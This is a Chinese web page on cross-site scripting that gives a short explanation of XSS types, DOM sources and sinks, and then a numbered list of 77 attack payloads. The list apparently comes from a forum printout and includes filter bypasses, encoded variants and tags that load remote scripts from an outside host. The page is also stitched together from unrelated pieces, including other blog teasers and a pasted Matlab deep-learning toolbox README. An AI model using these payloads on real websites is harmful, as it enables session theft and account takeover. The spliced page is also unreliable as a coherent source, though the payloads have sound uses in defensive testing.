XSS攻击常识及常见的XSS攻击脚本汇总

跨站脚本攻击(XSS) XSS,为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。但是发展到今天,由于JavaScript的强大功能基于网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字一直保留下来。(2)页面展示... 阅读详情

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

这里我们主要注意四点:1、目标网站目标用户;2、浏览器;3、不被预期;4、脚本。

二、XSS有什么危害?

当我们知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。

关于XSS有关危害,我这里中罗列一段列表,详细介绍不进行更多的赘述:

挂马
盗取用户Cookie。
DOS(拒绝服务)客户端浏览器。
钓鱼攻击,高级的钓鱼技巧。
删除目标文章、恶意篡改数据、嫁祸。
劫持用户Web行为,甚至进一步渗透内网。
爆发Web2.0蠕虫。
蠕虫式的DDoS攻击。
蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据。。。

三、XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

1、反射型XSS

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。

一个简单的例子:

http://www.a.com/xss/reflect.php的代码如下:

<?php

echo $_GET['x'];

?>

如果输入x的值未经任何过滤就直接输出,提交:

http://www.foo.com/xss/reflect.php?x=

则alert()函数会在浏览器触发。

2、存储型XSS

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。

http://www.a.com/xss/domxss.html代码如下:

<script>

eval(location.hash.substr(1));

</script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

这个URL#后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。

常见的输入点有:

document.URL

document.URLUnencoded

document.location

document.referrer

window.location

window.name

xhr请求回来的数据

document.cookie

表单项的值

常见的输出点有:

直接输出html内容,如:

document.write(…)

document.writeln(…)

document.body.innerHtml=…

直接修改DOM树(包括DHTML)如:

document.forms[0].action…(以及其他集合,如:一些对象的src/href属性等)

document.attachEvent(…)

document.create…(…)

document.execCommand(…)

document.body. …(直接通过body对象访问DOM)

window.attachEvent(…)

替换document URL,如:

document.location=…(以及直接赋值给location的href,host,hostname属性)

document.location.hostname=…

document.location.replace(…)

document.location.assign(…)

document.URL=…

window.navigate(…)

打开或修改新窗口,如:

document.open(…)

window.open(…)

window.location.href=…(以及直接赋值给location的href,host,hostname属性)

直接执行脚本,如:

eval(…)

window.execScript(…)

window.setInterval(…)

window.setTimeout(…)

_____________________________附常见的XSS攻击方法_________________________________

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 2/6
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY标签
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(62)
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(63)
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
(64)
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
(65)
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 4/6
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
</SCRIPT>
(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>
(69)URL编码
<A HREF=”http://3w.org”>XSS</A>
(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>
(75)节省[www]
<A HREF=”http://google.com/”>XSS</A>
(76)绝对点绝对DNS
<A HREF=”http://www.google.com./”>XSS</A>
(77)javascript链接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
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《XSS跨站脚本攻击》

XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。OWASP(开放式Web应用程序安全项目)是一个开放的社区,由非营利组织 OWASP基金会支持的项目。

Governing的博客 1682

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深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

XSS跨站脚本攻击及防护

XSS又叫CSS),即跨站脚本攻击,是最常见的 Web 应用程序安全漏洞之一。在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的 cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。XSS攻击是一种客户端访问嵌入有恶意脚本代码的Web页面,从而盗取信息、利用身份等的一种攻击行为。XSS属于客户端攻击受害者最终是用户。XSS的传播性极强,由于 web 的特点是轻量级灵活性高。

weixin_62707591的博客 3774

什么是XSS攻击?XSS跨站脚本攻击及防护

什么是XSS攻击?XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码,当用户(被攻击者)登录网站时就会执行这些恶意代码,通过这些脚本可以读取cookie,session tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈。XSS玫击原理XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript 编写的恶意代码,也有使用其他客户端脚本语言编写的。

wangluo12138的博客 1444
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.NET跨平台
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